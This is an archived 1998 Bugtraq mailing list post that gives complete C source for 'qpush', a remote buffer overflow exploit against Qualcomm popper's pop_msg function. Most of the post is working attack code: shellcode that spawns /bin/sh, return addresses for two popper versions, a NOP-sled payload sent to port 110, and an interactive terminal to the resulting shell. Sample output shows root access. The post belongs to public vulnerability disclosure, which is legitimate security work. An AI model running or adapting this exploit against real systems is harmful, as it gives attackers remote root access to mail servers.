Bugtraq mailing list archives

qpush: qpopper exploit source


From: herp () WILDSAU IDV-EDU UNI-LINZ AC AT (Herbert Rosmanith)
Date: Mon, 29 Jun 1998 02:20:59 +0200


dear listmembers,

this program demonstrates how to exploit popper.
it took me quite a time that vsprintf() in pop_msg
translates all upper-case to lower-case, which will
result in corruptions of assembly code containing
these codes, and interpretes hexcodes like 0x0c, 0x0b
as line seperator (LF?), which seems to stop the copying
of the shell-code too early.

note that, after "qpush" has successfully executed
/bin/sh, you will not see any prompt. type "id" to
see who you are, like that:

$ ./qpush technix.oeh
äîÿ¿äîÿ¿äîÿ¿äîÿ¿äîÿ¿
id
uid=0(root) gid=0(root)


use at your own risk.

regards,
h.rosmanith
herp () wildsau idv uni-linz ac at

--------------------------- >8 --------------------------------

/* qpush: qualcom popper buffer overflow exploit (pop_msg)
 * Mon Jun 29 01:26:06 GMT 1998 - herp
 *                                Herbert Rosmanith
 *                                herp () wildsau idv uni-linz ac at
 */

#include        <stdio.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <netinet/in.h>
#include        <netdb.h>
#include        <signal.h>
#include        <unistd.h>
#include        <errno.h>

long addrlist[]={
        0xbfffeee4,             /*2.2*/
        0xbfffec2c              /*2.41beta1*/
};

char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh.........";

void die(char *s) {
        if (errno) perror(s);
        else fprintf(stderr,"%s\n",s);
        exit(-1);
}

void usage() {
        printf("qpush [-index] <hostname>\n"
               " -0 QPOP Version 2.2             (default)\n"
               " -1 QPOP Version 2.41beta1\n");
        exit(0);
}

int resolv(char *host,long *ipaddr) {
        if (isdigit(host[0])) {
                *ipaddr=inet_addr(host);
                if (*ipaddr==-1) return -1;
        }
        else {
                struct hostent *hp;
                if ((hp=gethostbyname(host))==NULL) {
                        fprintf(stderr,"tc: %s: unknown host\n");
                        exit(-1);
                }
                *ipaddr=*(unsigned long *)hp->h_addr;
        }
        return 0;
}

int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;

        s=socket(PF_INET,SOCK_STREAM,0);
        if (s==-1) die("socket");

        if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
                die("unknown host");
        s_in.sin_family=AF_INET;
        s_in.sin_port=htons(port);

        if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
                die("connect");

        return s;
}

void socket_read(int s,char *buf,int len) {
int i;
        switch(i=read(s,buf,len)) {
        case -1: die("unexpected EOF");
        case  0: die("EOF");
        default:
                buf[i]=0;
                //printf("%s",buf);
                break;
        }
}

void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;

        for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(s,&fds);
        for (;;) {
                memcpy(&rfds,&fds,sizeof(fds));
                i=select(s+1,&rfds,NULL,NULL,NULL);
                if (i==-1) die("select");
                if (i==0) die("session closed");
                if (FD_ISSET(s,&rfds)) {
                        if ((i=read(s,buf,sizeof(buf)))<1)
                                die("session closed");
                        write(1,buf,i);
                }
                if (FD_ISSET(0,&rfds)) {
                        if ((i=read(0,buf,sizeof(buf)))<1)
                                die("session closed");
                        write(s,buf,i);
                }
        }
}

void main(int argc,char *argv[]) {
char buf[1024+128];
int s,i,ix;

        if (argc>=2 && argv[1][0]=='-') {
                ix=atoi(&argv[1][1]);
                argc--;
                argv++;
        }
        else ix=0;

        if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
                usage();

        s=connect_to(argv[1],110);      /* WKS POP3 */
        socket_read(s,buf,sizeof(buf));
        memset(buf,0x90,sizeof(buf));
        for (i=981;i<981+10*4;i+=4)
                memcpy(&buf[i],&addrlist[ix],4);
        memcpy(&buf[941],shellcode,strlen(shellcode));
        buf[sizeof(buf)-3]=0x0d;
        buf[sizeof(buf)-2]=0x0a;
        buf[sizeof(buf)-1]=0x00;
        write(s,buf,sizeof(buf));
        socket_read(s,buf,sizeof(buf));
        terminal(s);
}



Current thread: